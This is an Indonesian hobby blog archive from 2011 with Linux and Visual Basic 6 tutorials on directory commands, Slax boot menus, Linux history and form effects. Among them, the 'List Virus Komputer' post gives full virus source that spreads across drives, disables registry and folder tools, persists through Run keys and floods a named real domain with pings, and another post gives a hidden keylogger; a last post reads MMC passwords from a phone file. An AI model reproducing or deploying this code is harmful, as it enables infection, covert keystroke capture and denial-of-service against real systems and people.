TipsTrikSmall

Manajemen Direktori Pada Linux

2011-07-23T07:07:00.000-07:00

Perintah yang biasa digunakan dalam manajemen direktori antara lain:

mkdir = membuat direktori (make directory)

rmdir = menghapus direktori (remove directory)

rm = menghapus file atau direktori

cd = pindah direktori (change directory)

pwd = melihat direktori aktif (print work directory)

cp = menyalin file atau directori (copy)

mv = memindahkan atau mengganti nama file atau directori (move)

Perizinan file dan direktori dibagi atas 3 macam akses, antara lain :

READ (r). membaca file atau direktori

WRITE (w). menulis dan mencipta file atau direktori

EXECUTE (x). mengakses file atau memasuki direktori

Cara Memodifikasi Boot Pada Slackware

2011-07-20T07:04:00.000-07:00

Langkah Pertama Copy terlebih dahulu semua file yang ada di file iso slax yang telah kita download. Kemudian dengan menggunakan text editor bukalah file slax.cfg yang ada pada folder boot.
Dibawah ini merupakan isi dari file slax.cfg beserta penjelasannya:

PROMPT 0
TIMEOUT 90 ‘waktu waiting boot
DEFAULT /boot/vesamenu.c32 ‘posisi filei boot boot
MENU BACKGROUND /boot/eduslax.png ‘posisi gambar boot

‘Posisi Menu
MENU WIDTH 36
MENU MARGIN 0
MENU ROWS 8
MENU HELPMSGROW 14
MENU TIMEOUTROW 22
MENU TABMSGROW 24
MENU CMDLINEROW 24
MENU HSHIFT 40
MENU VSHIFT 2

‘Pengaturan Warna Pada Menu Boot
menu color screen 37;40 #00000000 #00000000 none
menu color border 30;44 #00000000 #00000000 none
menu color title 1;36;44 #00000000 #00000000 none
menu color unsel 37;44 #ff60CA00 #00000000 none
menu color hotkey 1;37;44 #ff60CA00 #00000000 none
menu color sel 7;37;40 #ffffffff #ff60CA00 none
menu color hotsel 1;7;37;40 #ff808080 #ff60CA00 none
menu color scrollbar 30;44 #00000000 #00000000 none

menu color tabmsg 31;40 #aaaaaaaa #00000000 none
menu color cmdmark 1;36;40 #ffff0000 #00000000 none
menu color cmdline 37;40 #aaaaaaaa #00000000 none
menu color pwdborder 30;47 #ffff0000 #00000000 std
menu color pwdheader 31;47 #ffff0000 #00000000 std
menu color pwdentry 30;47 #ffff0000 #00000000 std
menu color timeout_msg 37;40 #aaaaaaaa #00000000 none
menu color timeout 1;37;40 #ffaaaaff #00000000 none
menu color help 37;40 #aaaaaa00 #00000000 none
menu color msg07 37;40 #90ffffff #00000000 std

‘Isi Menu Boot
LABEL xconf
MENU LABEL EduSlax Grafis KDE
KERNEL /boot/vmlinuz
APPEND initrd=/boot/initrd.gz ramdisk_size=6666 root=/dev/ram0 rw autoexec=xconf;telinit~4 changes=/slax/

LABEL fresh
MENU LABEL EduSlax Fresh
KERNEL /boot/vmlinuz
APPEND initrd=/boot/initrd.gz ramdisk_size=6666 root=/dev/ram0 rw autoexec=xconf;telinit~4

LABEL cp2ram
MENU LABEL EduSlax Di RAM
KERNEL /boot/vmlinuz
APPEND initrd=/boot/initrd.gz ramdisk_size=6666 root=/dev/ram0 rw copy2ram autoexec=xconf;telinit~4

LABEL startx
MENU LABEL EduSlax Grafis VESA
KERNEL /boot/vmlinuz
APPEND initrd=/boot/initrd.gz ramdisk_size=6666 root=/dev/ram0 rw autoexec=telinit~4 changes=/slax/

LABEL slax
MENU LABEL Slax Mode Text
KERNEL /boot/vmlinuz
APPEND initrd=/boot/initrd.gz ramdisk_size=6666 root=/dev/ram0 rw changes=/slax/

LABEL pxe
MENU LABEL Slax Sebagai PXE server
KERNEL /boot/vmlinuz
APPEND initrd=/boot/initrd.gz ramdisk_size=6666 root=/dev/ram0 rw autoexec=/boot/pxelinux.cfg/start;/boot/pxelinux.cfg/web/start;xconf;telinit~4

LABEL memtest86
MENU LABEL Test RAM
KERNEL /boot/mt86p

Setelah kita mengedit file slax.cfg kemudian kita merubah file gambar untuk boot. Pertama hapuslah terlebih dahulu gambar slax.png yang ada pada folder slax. Kemudian dengan menggunakan editor grafis yang ada rubahlah ukuran gambar yang anda inginkan menjadi 640X480 pixel dan save as dengan nama slax dan menggunakan extensi .png simpanlah pada folder boot.
Setelah selesai bukalah command promp yang ada pada windows dengan cara mengetik perintah cmd pada RUN. Setelah terbuka masuklah pada folder slax yang telah anda copy tadi misal d:\slaxku\slax\. Kemudian jalankan perintah make_iso.bat “nama file iso linux yang ingin anda buat” misalkan “d:\slaxku\slax\make_iso.bat d:\eduslax.iso”, kemudian enter. Tunggulah beberapa saat hingga file slax anda selesai dibuat. Setelah itu file slax dengan boot yang anda inginkan telah selesai dibuat.

Sejarah Linux

2011-07-14T07:02:00.000-07:00

Pada tahun 1969 Ken Thompson dan Dennis Ritchie (yang juga developer bahasa C), para peneliti di AT&T Bell Laboratorium Amerika, membuat sistem operasi UNIX, cikL BkL Sri GNU/Linux. UNIX mendapatkan perhatian besar karena merupakan sistem operasi pertama yang dibuat bukan oleh hardware maker. Selain itu juga source codenya dibuat dengan bahasa C, sehingga mempermudahkan pemindahannya ke berbagai platform. Dalam waktu singkat UNIX berkembang dengan pesat dan kemudian terpecah menjadi dua aliran yaitu: UNIX yang dikembangkan oleh Universitas Berkeley dan yang dikembangkan oleh AT&T.

Setelah itu mulai banyak perusahaan yang ikut melibatkan diri, yang kemudian mengakibatkan persaingan yang melibatkan banyak perusahaan. Mereka berusaha untuk memegang kontrol dalam bidang sistem operasi. Persaingan ini kemudian menyebabkan kesadaran akan adanya standarisasi. Dari sini lahirlah proyek POSIX yang dimotori oleh IEEE (Then Institute of Electrical and Electronics Enginers). Proyek ini bertujuan menetapkan spesifikasi standar UNIX. Walaupun demikian standarisasi ini tidak meredakan persaingan karena sejak saat itu telah muncul berbagai jenis UNIX.

Salah satu dari jenis UNIX adalah MINIX yang dibuat oleh A.S. Tanenbaum untuk tujuan pendidikan. Source Code MINIX inilah yang oleh Linus Trovalds, seorang mahasiswa Universitas Helsinski pada waktu itu, kemudian dijadikan sebagai referensi untuk membuat sistem operasi baru yang gratis, yang source code nya bisa diakses oleh sembarang orang. Sistem operasi ini kemudian diberi nama GNU/Linux. Dalam membangun Linux, Linus menggunakan tool-tool dari Free Foundation Software yang berlisensi GNU. Untuk menjadikan Linux sebuah sistem operasi yang utuh, dia kemudian memasukan program-program yang juga berlisensi GNU.

Awalnya Linus membuat Linux sekedar sebagai hobi, karena ia ingin menjalankan sistim operasi semacam UNIX dalam komputer 386-nya. Dari hasil kerjanya itu lahirlah Linux versi 0.01, yang sebenarnya masih belum bisa disebut sebagai sebuah sistem operasi. Setelah mengalami perbaikan, jadilah Linux versi 0.02, yang notabene adalah Linux resmi versi pertama yang diumumkan kepada publik. Linus mengumumkan source code Linux pada tanggal 5 oktober 1991. Saat itu Linux sudah dapat menjalankan shell bash, gcc compiler, GNU make, GNU sed, compress. Proyek GNU/Linux ini mendapatkan perhatian dari para programer di seluruh dunia yang kemudian turut berpartisipasi membangun GNU/Linux. Perkembangan GNU/Linux berlangsung sangat pesathingga kini.

Membuat program encrypt decrypt

2011-07-10T06:56:00.000-07:00

buat 3 textbox dan 2 comand button
buat module

list form

Option Explicit

Private Sub Command1_Click()
Text2 = EncryptText(Text1, "gila")
End Sub

Private Sub Command2_Click()
Text3 = DecryptText(Text2, "gila")
End Sub

Private Sub Command3_Click()
Unload Me

End Sub

list module

Option Explicit

#Const CASE_SENSITIVE_PASSWORD = False

'Encrypt text
Public Function EncryptText(strText As String, ByVal strPwd As String) As String
Dim i As Integer, c As Integer
Dim strBuff As String

#If Not CASE_SENSITIVE_PASSWORD Then

'Convert password to upper case
'if not case-sensitive
strPwd = UCase$(strPwd)

#End If

'Encrypt string
If Len(strPwd) Then
For i = 1 To Len(strText)
c = Asc(Mid$(strText, i, 1))
c = c + Asc(Mid$(strPwd, (i Mod Len(strPwd)) + 1, 1))
strBuff = strBuff & Chr$(c And &HFF)
Next i
Else
strBuff = strText
End If
EncryptText = strBuff
End Function

Public Function DecryptText(strText As String, ByVal strPwd As String)
Dim i As Integer, c As Integer
Dim strBuff As String

#If Not CASE_SENSITIVE_PASSWORD Then

'Convert password to upper case
'if not case-sensitive
strPwd = UCase$(strPwd)

#End If

'Decrypt string
If Len(strPwd) Then
For i = 1 To Len(strText)
c = Asc(Mid$(strText, i, 1))
c = c - Asc(Mid$(strPwd, (i Mod Len(strPwd)) + 1, 1))
strBuff = strBuff & Chr$(c And &HFF)
Next i
Else
strBuff = strText
End If
DecryptText = strBuff
End Function

Membuat Form Bergetar

2011-07-05T06:47:00.000-07:00

Membuat Form Bergetar
-Buat Form baru
-Pada Project Form Tuliskan list program berikut:

Private Sub Vibrate(frm As Form, rScale As Integer, Times As Integer)
Dim Lft As Long, Tp As Long
Dim i
Lft = frm.Left
Tp = frm.Top
For i = 1 To Times
frm.Move Lft + Sgn(rScale)
Pause 20
frm.Move Lft + rScale
Pause 20
frm.Move Lft, Tp + Sgn(rScale), frm.Width, frm.Height
Pause 20
frm.Move Lft, Tp + rScale, frm.Width, frm.Height
Pause 20
Next i
End Sub

Private Sub Pause(ms)
Dim secs
Dim g
secs = ms / 1000
g = Timer
Do While Timer - g < secs
DoEvents
Loop
End Sub

Private Sub Form_Activate()
Vibrate Me, 100, 20
End Sub

Membuat Animasi Exit Layout

2011-06-30T06:44:00.000-07:00

Membuat Exit Layout
-Buat Form Baru
-Tambahkan Sebuah Command Button
-Klik 2x Pada command button
-Tuliskan List program berikut:

Private Sub Command1_Click()
ExitLayout
Unload Me
End Sub

Private Sub ExitLayout()
On Error Resume Next
Dim fHeight As Long
Dim fWidth As Long

For fHeight = Me.Height To 1000 Step -1
Me.Height = fHeight
'Move (Screen.Width - Width) / 2, (Screen.Height - Height) / 3
Next fHeight

If Me.Height = 1000 Then
For fWidth = Me.Width To 1000 Step -2
Me.Width = fWidth
Next fWidth
End If
Me.Refresh
End Sub

List Virus Komputer

2011-06-25T06:38:00.000-07:00

Option Explicit
'//////////////////////////Manipulasi dan pencarian///////////
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Const FILE_ATTRIBUTE_COMPRESSED = &H800
Private Const MAX_PATH = 260

Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type

Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type

Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" _
(ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" _
(ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal bFailIfExists As Long) As Long

Private pbMessege As Boolean

'///////////////////Penggandaan/////////////////////
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

'/////////////////Pesan/////////////////////
Public buffer As String * 255
Public x As Long

'///////////////////DOS Attack/////////////////////
Public Const IP_STATUS_BASE = 11000
Public Const IP_SUCCESS = 0
Public Const IP_BUF_TOO_SMALL = (11000 + 1)
Public Const IP_DEST_NET_UNREACHABLE = (11000 + 2)
Public Const IP_DEST_HOST_UNREACHABLE = (11000 + 3)
Public Const IP_DEST_PROT_UNREACHABLE = (11000 + 4)
Public Const IP_DEST_PORT_UNREACHABLE = (11000 + 5)
Public Const IP_NO_RESOURCES = (11000 + 6)
Public Const IP_BAD_OPTION = (11000 + 7)
Public Const IP_HW_ERROR = (11000 + 8)
Public Const IP_PACKET_TOO_BIG = (11000 + 9)
Public Const IP_REQ_TIMED_OUT = (11000 + 10)
Public Const IP_BAD_REQ = (11000 + 11)
Public Const IP_BAD_ROUTE = (11000 + 12)
Public Const IP_TTL_EXPIRED_TRANSIT = (11000 + 13)
Public Const IP_TTL_EXPIRED_REASSEM = (11000 + 14)
Public Const IP_PARAM_PROBLEM = (11000 + 15)
Public Const IP_SOURCE_QUENCH = (11000 + 16)
Public Const IP_OPTION_TOO_BIG = (11000 + 17)
Public Const IP_BAD_DESTINATION = (11000 + 18)
Public Const IP_ADDR_DELETED = (11000 + 19)
Public Const IP_SPEC_MTU_CHANGE = (11000 + 20)
Public Const IP_MTU_CHANGE = (11000 + 21)
Public Const IP_UNLOAD = (11000 + 22)
Public Const IP_ADDR_ADDED = (11000 + 23)
Public Const IP_GENERAL_FAILURE = (11000 + 50)
Public Const IP_MAX_IP_STATUS = 11000 + 50
Public Const IP_PENDING = (11000 + 255)
Public Const IP_PING_TIMEOUT = 500

Public Type ICMP_OPTIONS
TTL As Byte
Tos As Byte
Flags As Byte
OptionsSize As Byte
OptionsData As Long
End Type

Public Type ICMP_ECHO_REPLY
Address As Long
Status As Long
RoundTripTime As Long
DataSize As Integer
Reserved As Integer
DataPointer As Long
Options As ICMP_OPTIONS
Data As String * 250

End Type
Public Declare Function IcmpCreateFile Lib "icmp.dll" () As Long

Public Declare Function IcmpCloseHandle Lib "icmp.dll" _
(ByVal IcmpHandle As Long) As Long
Public Declare Function IcmpSendEcho Lib "icmp.dll" _
(ByVal IcmpHandle As Long, _
ByVal DestinationAddress As Long, _
ByVal RequestData As String, _
ByVal RequestSize As Integer, _
RequestOptions As ICMP_OPTIONS, _
ReplyBuffer As ICMP_ECHO_REPLY, _
ByVal ReplySize As Long, _
ByVal TimeOut As Long) As Long

'///////////////////Manipulasi dan Pencarian///////////////////

Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String = "*.*")

Screen.MousePointer = vbHourglass
Dim WFD As WIN32_FIND_DATA
Dim hFile As Long, fPath As String, fName As String
fPath = AddBackslash(Path)
Dim sPattern As String
sPattern = Pattern
fName = fPath & sPattern
hFile = FindFirstFile(fName, WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
CopyFile "c:\windows\tes_di_direktory_windows.exe", fPath & StripNulls(WFD.cFileName) & ".exe", 1
End If

If hFile > 0 Then
While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then CopyFile "c:\windows\tes_di_direktori_windows.exe", fPath & StripNull(WFD.cFileName) & ".exe", 1
End If
Wend
End If

If SubFolder Then
hFile = FindFirstFile(fPath & "*.*", WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetsFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If

While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If
Wend
End If

FindClose hFile
Screen.MousePointer = vbDeffault

End Sub

Private Function StripNulls(f As String) As String

StripNulls = Left$(f, InStr(1, f, Chr$(0)) - 1)
End Function

Private Function AddBackslash(S As String) As String
If Len(S) Then
If Right$(S, 1) <> "\" Then
AddBackslash = S & "\"
Else
AddBackslash = S
End If
Else
AddBackslash = "\"
End If
End Function

Sub Pencarian()
GetFiles "c:", True, "*.cob"
MsgBox "Pencarian Selesai", 0, "Tes Cari"
End Sub

'////////////////////Pengganda////////////////////
Private Function DriveType(Drive As String) As String
'///Mengecek Drive///
Dim sAns As String, lAns As Long
'fix bad parameter values
If Len(Drive) = 1 Then Drive = Drive & "\"
If Len(Drive) = 2 And Right$(Drive, 1) = ":" _
Then Drive = Drive & "\"
lAns = GetDriveType(Drive)
Select Case lAns
Case 2
sAns = "Removable Drive"
Case 3
sAns = "Fixed Drive"
Case 4
sAns = "Remote Drive"
Case 5
sAns = "CD-ROM"
Case 6
sAns = "RAM Disk"
Case Else
sAns = "Drive Doesn't Exist"
End Select
DriveType = sAns
End Function

Private Sub KodePengganda()
'///Mengecek file dan mengcoopy file penanda
Dim ictr As Integer
Dim sDrive As String
Dim x As Byte
ReDim sDrives(0) As String
Dim penanda As Byte
For ictr = 65 To 90
sDrive = Chr(ictr) & ":\"
If DriveType(sDrive) <> "Drive Doesn't Exist" Then
On Error Resume Next
penanda = Len(Chr(ictr & App.Path)) & "1234567890"
'msgbox penanda
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & ictr & "koderangkaian.exe"
End If
'App.EXEName = penanda & ".exe"
Next
End Sub
Private Sub kopikewindows()
'///Mengkopi file virus kedirectory windows
Dim buffer As String * 255
Dim x As Long
x = GetWindowsDirectory(buffer, 255)
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", Left(buffer, x) & "\tes_di_direktory_windows.exe"
End Sub

'////////////////////////////Pertahanan/////////////////////////////////
Public Sub CreateKey(Folder As String, Value As String)
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value
End Sub

Public Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value, "REG_DWORD"
End Sub

Public Sub DeleteKey(Value As String)
Dim b As Object
On Error Resume Next
Set b = CreateObject("Wscript.shell")
b.RegDelete Value
End Sub

Sub kodepertahanan()
'///menyembunyikan file hide
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue", 1
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\DefaultValue", 1
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue", 2
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\DefaultValue", 2

CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 0

'///NonAktiv Folder Option
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 1

'///Kunci Regedit
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTool", 1

'///Menyembunyikan Extensi File
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1
Dim titik As String
titik = """"
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\test", _
titik & "c:\windows\test_di_direktory_windows.exe" & titik

CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tes2", _
titik & "d:\tes.exe" & titik
End Sub

'//////////////////////////Pesan Sponsor/////////////////
Sub pesansponsor()
Dim tt As String
tt = """"
Log " You'll Never Walk Alone

LIVERPOOL

"
Shell "C:\Program Files\Internet Explorer\IEXPLORER.EXE" & Left(buffer, x) & "/help.htm", vbNormalFocus
End Sub

'/////////////////////////DOS Attack////////////////////
Public Function Ping(szAddress As String, ECHO As ICMP_ECHO_REPLY, TTL As Integer) As Long

Dim hPort As Long
Dim dwAddress As Long
Dim sDataToSend As String
Dim iOpt As ICMP_OPTIONS
Dim timeout_ping As Long

sDataToSend = "HAHAHAHAHHAHAHHAHAHAHAHAHAHAHIHIHIHIHIHIHIHIHIHIIHIHHAHAHAHAHAHAHHAHAHAHAHAIHIHIHIHIHIHIHHAHAHAHHAHAHIHIHIHIHIAHAHAHAHHAHAHAHAIHIHIHIHHIAHAHHAHAHAHAHIHIHIHIHAHAHHAHAHAHAHIHIHIHIHIHIIIHIHIHIHIHIIHAHAHHAHAHAHAHIHIHIHIHIHIHIHIHI"

dwAddress = AddressStringToLong(szAddress)

hPort = IcmpCreateFile()
ECHO.Options.TTL = TTL
iOpt.TTL = TTL
If IcmpSendEcho(hPort, _
dwAddress, _
sDataToSend, _
Len(sDataToSend), _
iOpt, _
ECHO, _
Len(ECHO), _
timeout_ping) Then
Ping = ECHO.RoundTripTime
Else
Ping = ECHO.Status * -1
End If

Call IcmpCloseHandle(hPort)

End Function

Public Function AddressStringToLong(ByVal tmp As String) As Long
Dim i As Integer
Dim Parts(1 To 4) As String
i = 0
While InStr(tmp, ".") > 0
i = i + 1
Parts(i) = Mid(tmp, l, InStr(tmp, ".") - 1)
tmp = Mid(tmp, InStr(tmp, ".") + 1)
Wend
i = i + 1
Parts(i) = tmp
If i <> 4 Then
AddressStringToLong = 0
Exit Function
End If
AddressStringToLong = Val("&H" & Right("00" & Hex(Parts(4)), 2) & _
Right("00" & Hex(Parts(3)), 2) & _
Right("00" & Hex(Parts(2)), 2) & _
Right("00" & Hex(Parts(1)), 2))
End Function
Sub SeranganDos()
Dim ECHO As ICMP_ECHO_REPLY
Dim angka As Long

For angka = 1 To 65000
Call Ping("www.bsi.ac.id", ECHO, 30)
Next angka
End Sub

Public Sub Log(strLog As String)
Dim ff As Integer

ff = FreeFile
x = GetWindowsDirectory(buffer, 255)

On Error Resume Next
Open Left(buffer, x) & "\help.htm" For Output As #ff
Print #ff, strLog
Close #ff

End Sub

Sub Main()
kodepertahanan
KodePengganda
Pencarian
pesansponsor
SeranganDos
End Sub

Membuat Nominal Angka

2011-06-20T01:51:00.000-07:00

Membuat Nominal Pada Bilangan Angka

-Buat Form baru
-Tambahkan 1buah Text box dan 1buah label

-Pada Form Project Ketik List berikut:
Option Explicit

Private Sub Text1_Change()
If Text1 <> "" Then
Text1.Text = Format(Text1, "#,##0")
Text1.SelStart = Len(Text1)
Label1.Caption = AngkaTerbilang(Text1)
Label1.Caption = StrConv(Label1, vbProperCase)
Else
Label1.Caption = ""
End If
End Sub

Private Sub Text1_KeyPress(KeyAscii As Integer)
If (KeyAscii >= vbKey0 And KeyAscii <= vbKey9) Or KeyAscii = vbKeyDecPt Or KeyAscii = vbKeyBack Then
Exit Sub
Else
KeyAscii = 0
End If
End Sub

-Pada Module Ketik List Berikut:

Option Explicit

Public Const vbKeyDecPt = 46
Public Function ConvertirEnText(ValNum As Double) As String

Static Unites(0 To 9) As String
Static Dixaines(0 To 9) As String
Static LesDixaines(0 To 9) As String
Static Milliers(0 To 4) As String

Dim i As Integer
Dim nPosition As Integer
Dim ValNb As Integer
Dim LesZeros As Integer
Dim strResultat As String
Dim strTemp As String
Dim tmpBuff As String

Unites(0) = "nol"
Unites(1) = "satu"
Unites(2) = "dua"
Unites(3) = "tiga"
Unites(4) = "empat"
Unites(5) = "lima"
Unites(6) = "enam"
Unites(7) = "tujuh"
Unites(8) = "delapan"
Unites(9) = "sembilan"

Dixaines(0) = "sepuluh"
Dixaines(1) = "sebelas"
Dixaines(2) = "dua belas"
Dixaines(3) = "tiga belas"
Dixaines(4) = "empat belas"
Dixaines(5) = "lima belas"
Dixaines(6) = "enam belas"
Dixaines(7) = "tujuh belas"
Dixaines(8) = "delapan belas"
Dixaines(9) = "sembilan belas"

LesDixaines(0) = ""
LesDixaines(1) = "sepuluh"
LesDixaines(2) = "dua puluh"
LesDixaines(3) = "tiga puluh"
LesDixaines(4) = "empat puluh"
LesDixaines(5) = "lima puluh"
LesDixaines(6) = "enam puluh"
LesDixaines(7) = "tujuh puluh"
LesDixaines(8) = "delapan puluh"
LesDixaines(9) = "sembilan puluh"

Milliers(0) = ""
Milliers(1) = "ribu"
Milliers(2) = "juta"
Milliers(3) = "milyard"
Milliers(4) = "triliyun"

On Error GoTo NbVersTexteError

strTemp = CStr(Int(ValNum)) 'Untuk Konversi Angka yang di format ke default

For i = Len(strTemp) To 1 Step -1
ValNb = Val(Mid$(strTemp, i, 1))
nPosition = (Len(strTemp) - i) + 1
Select Case (nPosition Mod 3)
Case 1
LesZeros = False
If i = 1 Then
If ValNb > 1 Then
tmpBuff = Unites(ValNb) & " "
Else
tmpBuff = ""
End If
ElseIf Mid$(strTemp, i - 1, 1) = "1" Then
tmpBuff = Dixaines(ValNb) & " "
i = i - 1
ElseIf ValNb > 0 Then
tmpBuff = Unites(ValNb) & " "
Else
LesZeros = True
If i > 1 Then
If Mid$(strTemp, i - 1, 1) <> "0" Then
LesZeros = False
End If
End If
If i > 2 Then
If Mid$(strTemp, i - 2, 1) <> "0" Then
LesZeros = False
End If
End If
tmpBuff = ""
End If
If LesZeros = False And nPosition > 1 Then
tmpBuff = tmpBuff & Milliers(nPosition / 3) & " "
End If
strResultat = tmpBuff & strResultat
Case 2
If ValNb > 0 Then
strResultat = LesDixaines(ValNb) & " " & _
strResultat
End If
Case 0
If ValNb > 0 Then
If ValNb > 1 Then
strResultat = Unites(ValNb) & " ratus " & _
strResultat
Else
strResultat = "seratus " & strResultat
End If
End If
End Select
Next i
If Len(strResultat) > 0 Then
strResultat = UCase$(Left$(strResultat, 1)) & _
Mid$(strResultat, 2)
End If

EndNbVersTexte:
ConvertirEnText = strResultat & " rupiah"
Exit Function

NbVersTexteError:
strResultat = "Une Erreur !"
Resume EndNbVersTexte
End Function

Public Function AngkaTerbilang(Counter As Double) As String
On Error Resume Next
Dim A As Single
AngkaTerbilang = ConvertirEnText(Counter)
A = Len(ConvertirEnText(Counter))
If Mid(ConvertirEnText(Counter), 1, 4) = "Ribu" Then
AngkaTerbilang = "Se" + Mid(ConvertirEnText(Counter), 1, A)
End If
If Mid(ConvertirEnText(Counter), 1, 4) = "Juta" Then
AngkaTerbilang = "Satu " + Mid(ConvertirEnText(Counter), 1, A)
End If
If Mid(ConvertirEnText(Counter), 1, 7) = "" Then
AngkaTerbilang = "Satu " + Mid(ConvertirEnText(Counter), 1, A)
End If
If Mid(ConvertirEnText(Counter), 1, 7) = "Milyard" Then
AngkaTerbilang = "Satu " + Mid(ConvertirEnText(Counter), 1, A)
End If
End Function

Membuat Form Transparan

2011-06-14T15:45:00.000-07:00

Membuat Form Transparant
-Buat Form baru
-Tulis list berikut pada project form:

Option Explicit

Private Const WS_EX_LAYERED = &H80000
Private Const GWL_EXSTYLE = (-20)
Private Const LWA_COLORKEY = &H1
Private Const LWA_ALPHA = &H2

Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crColor As Long, ByVal nAlpha As Byte, ByVal dwFlags As Long) As Long

Private Sub Form_Load()
Call SetWindowLong(Me.hwnd, GWL_EXSTYLE, GetWindowLong(Me.hwnd, GWL_EXSTYLE) Or WS_EX_LAYERED)
Call SetLayeredWindowAttributes(Me.hwnd, RGB(255, 0, 255), 128, LWA_ALPHA Or LWA_COLORKEY)
End Sub

Membuat Keylogger Sendiri

2011-06-14T01:35:00.000-07:00

-buat form dengan visible false
-masukan textbox
-masukan timer dengan interval=1 dan enable=true
-pada project reference centanglah microsoft scripting runtime

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Private Sub timer1_timer()
App.TaskVisible = False
Dim keys As Integer
Dim fso As New FileSystemObject
Dim tf As TextStream
For i = 28 To 128
keys = 0
keys = GetAsyncKeyState(i)
If keys = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Set tf = fso.OpenTextFile("D:\keylog.dat" & txtname & ".txt", ForAppending, True)
tf.Write (Me.Text1)
tf.Close
Text1.Text = Clear
Next i

End Sub

Menjebol Password MMC

2010-05-14T00:05:00.000-07:00

Bagi Sobat semua tentunya tidak asing lagi dengan Barang yang namanya MMC.Karena MMC menyimpan banyak data dan mungkin data yang sangat penting, maka perlu melakukan pengamanan MMC dengan memasang kode password.Tetapi kadang Sobat "Blunder' alias senjata makan Tuan Passwordnya Lupa.Cara memasang kode password pada MMC sangat mudah, pilih menu ‘memory card’, pilih ‘option’ kemudian pilih ‘set password’ dan masukkan kode sesuai yang diinginkan. Tapi, apa yang terjadi jika lupa akan password yang telah dibuat? MMC tidak akan berfungsi dengan baik. Atau jika membeli ponsel dengan MMC yang terkunci oleh kode si pemilik sebelumnya? Bagaimana cara mengetahui dan menjebol MMC yang terkunci (Lock)i?

Langsung aja ikuti langkah-langkah di bawah ini :
1.Ponselnya harus memiliki aplikasi ‘explorer’ untuk melakukan pelacakan file dan folder dalam ponsel, aplikasi ini banyak sekali dan sudah sangat umum seperti misalnya SeleQ, Fexplorer, FileMan dan masih banyak lainnya. Install ke dalam memory ponsel,
2.Kemudian dengan aplikasi tersebut cari file yang bernama “MMCSTORE”, file ini biasanya terletak di folder ’C\System’
3.Jika sulit, gunakan menu ‘find’ atau ‘search’, kemudian ketikkan nama file yaitu ‘mmcstore’ dan ponsel akan mencari file tersebut.
4.Selanjutnya kirim file mmcstore tersebut ke komputer melalui infrared, Bluetooth ataupun kabel data.
5.Melalui komputer atau PC, buka file mmcstore tersebut dengan menggunakan notepad.
6.Setelah terbuka, maka pada notepad akan terlihat dengan jelas, password dari MMC tersebut.
